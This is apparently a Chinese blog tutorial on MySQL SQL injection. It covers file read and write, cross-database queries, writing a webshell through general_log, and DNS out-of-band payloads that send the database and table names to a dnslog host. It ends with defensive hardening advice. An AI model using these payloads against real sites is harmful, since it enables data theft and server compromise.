Administrator
发布于 2025-09-15 / 2 阅读
0
0

SQL注入之跨库查询,文件读写,带外注入

MYSQL权限划分:

权限

用户

高级权限:对整个mysql拥有读写权限

root

普通权限:仅对用户下数据库有读写权限,通常没有文件的读写权限

其他用户

如果一个网站使用root权限对数据库进行操作,在程序连接数据库配置文件中使用root用户,如果被sql注入,则会产生高危风险,甚至整个服务器都被拿下

MySQL
select load_file('路径/xxx.txt');     #查询路径下文件xxx.txt的内容
​
select "123456" into outfile "路径/xxx.txt";      #对路径下的xxx.txt文件写入123456
​
select "123456" into dumpfile "路径/xxx.txt";     #对路径下的xxx.txt文件写入123456

root用户使用读写语句可以读写服务器中文件的内容,而普通用户通常没有可读权限,不能读取,更不要说改了

这个有什么用?

有了对服务器文件读写的权限基本等于拿下整个服务器,那手法就比较多了,比如往网站目录写入一个webshell文件,直接就拿下了

要是有这么简单那不是人人都是大佬了?默认文件读取权限是关闭的!

跨库注入:

如果发现了一个注入点,并且确定sql的执行权限为root,那么就可以查看是否有其他数据库等敏感信息了

库位置:information_schema --> TABLES --> TABLE_SCHEMA,逐级往下查

通常为了节省服务器成本,会在一个服务器上搭建多个网站,有多个数据库,这时候就可以找注入难度比较低的网站下手,如果这个网站sql执行权限恰好是root,那就被一窝端了。往往是理想很美好,现实很残酷,只能在靶场中体验这种美好了,呜呜。

secure_file_priv参数绕过:

secure_file_priv是MYSQL内置安全参数,控制MYSQL是否有权读写文件,默认是关闭的。那我还玩个毛啊!跑路了!

这时候就得从其他方向入手了,通过信息收集查看是否有可执行sql命令的应用,比如phpmyadmin这些,单独的sql注入拼接命令不行,必须可以执行完整的sql命令,发现有这些应用了,那么登录不是还要账号密码?然后就是sql注入之路了,通过注入查询账号密码

存储位置:mysql --> user列和authentication_string列

注意位置是mysql下,所以注入点必须是root权限才能查到,找不到就可以跑路了,而且密码是加密的,低版本直接cmd5.com

MySQL
SHOW VARIABLES LIKE 'secure_file_priv';     #查看secure_file_priv开启状态NULL为禁止,""空为盘可读写,若是具体路径那就只能读写这个路径下面的
​
mysql> SHOW VARIABLES LIKE 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set (0.03 sec)
​
slow_query_log=1;       #开启慢查询日志(默认关闭)
​
show variables like 'general_log';      #查看通用日志功能是否开启
​
set global general_log_file='路径/文件';        #设置通用日志生成路径(一般使用web目录)
​
select 想要写入的文件内容;       #这样就可以把内容写入到上面对应路径的文件中,写什么就看自己想干嘛了,webshell通常带有'号会导致混淆,所以为避免写入内容与实际不符,先转成16进制或ascii,mysql会自动转成对应内容

secure_file_priv的位置:

Windows:mysql安装目录下的my.ini

Linux:安装目录下的my.cnf

网站路径获取:

1、遗留文件:phpinfo

2、报错显示:有些报错显示没有关闭,php报错默认是带路径的

3、读中间件配置:尝试默认目录

4、爆破fuzz路径:碰运气

带外注入:

适用于读取文件没有回显,使用dnslog将数据请求到公网服务器达到回显效果

工具:dnslog.cn或yakit

MySQL
' union select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.xxx')),2,3#            
​
#对 "数据库名.xxxx.dnslog.cn"发送请求,通过dnslog服务器得到无法回显的数据,xxxx.dnslog.xxx改成自己生成的域名,请求的xxxx就是回显数据
​
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".xxxx.dnslog.xxx")),2
​
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,2 ),".xxxx.dnslog.xxx")),2,3#
​

总结:建站是尽量避免使用root用户连接数据库,secure_file_priv参数尽量设置为null,有文件读写需求要规范可读取的路径,严格设置文件权限


评论